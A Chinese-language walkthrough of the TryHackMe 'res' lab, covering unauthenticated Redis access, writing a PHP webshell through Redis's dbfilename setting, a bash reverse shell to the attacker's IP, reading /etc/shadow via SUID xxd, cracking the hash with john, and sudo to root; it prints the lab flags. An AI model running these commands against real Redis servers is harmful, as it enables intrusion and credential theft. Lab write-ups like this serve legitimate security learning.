打靶记录(十五)之THMres
端口扫描
开放了http服务,但是扫不出任何东西。还有一个数据库,说实话这个redis数据库不是特别了解
上WP。。。
Getshell
下载一个redis-cl,是redis的命令行管理工具
sudo apt-get install redis-tools |
redis-cli -h ip |
进行连接
info可以查看一些信息
稍微学了一点redis的东西
我们首先将redis的工作目录设置在apache的html(nmap扫描结果可以得知是一个apache服务器)
config set dir /var/www/html |
config set dbfilename shell.php |
设置一个名叫shell.php的持久化文件,持久化应该是redis数据库的一个特性,这块知识之后再去补
set test "<?php system($_GET['cmd']); ?>" |
设置一个键值对,键名为test,内容我们简易地先设为一句话木马测试一下
最后输入save将数据保存在持久化文件中
然后我们在浏览器中访问/shell.php,用cmd参数传一些命令上去看看
发现是成功的,既然这样。我们可以整一个PHP的一句话反向shell上去
我们覆盖前面test的值
set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.11.38.245/1234 0>&1'\"); ?>" |
这里记得转移双引号,不然会显示无效
save |
然后在kali中开启监听
浏览器中访问shell.php
成功连接shell
python3 -c "import pty;pty.spawn('/bin/bash')" |
建立更好的shell(ubuntu中好像默认装python ?)
在vianka的家目录中找到user.txt
thm{red1s_rce_w1thout_credent1als}
之后要找本地用户的密码,我们看到家目录还有一个redis的目录,进去看看。试着在配置文件中找到密码有可能有密码复用,但是也找不太到
先简单查看一下sudo -l 但是我们们没密码也查看不了,计划任务也没什么
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null |
查找一下有没有SUID或者SGID
找到一个XXD,可以查看任意文件
LFILE=/etc/shadow |
那么我们就可以查看shadow来得到vianka的密码
复制vianka的hash,用john直接爆破出密码为beautiful1
既然这样。我们可以切换到vianka用户,用su
提权
sudo -l ,抽象的是我们有全部权限。
sudo /bin/bash提权成功
root.txt
thm{xxd_pr1v_escalat1on}
碎碎念
开始了解redis数据库,记得在今年闽盾决赛就碰到了这个数据库,可惜当时还不会,现在多少了解一些,除此之外这个房间也挺常规的罢。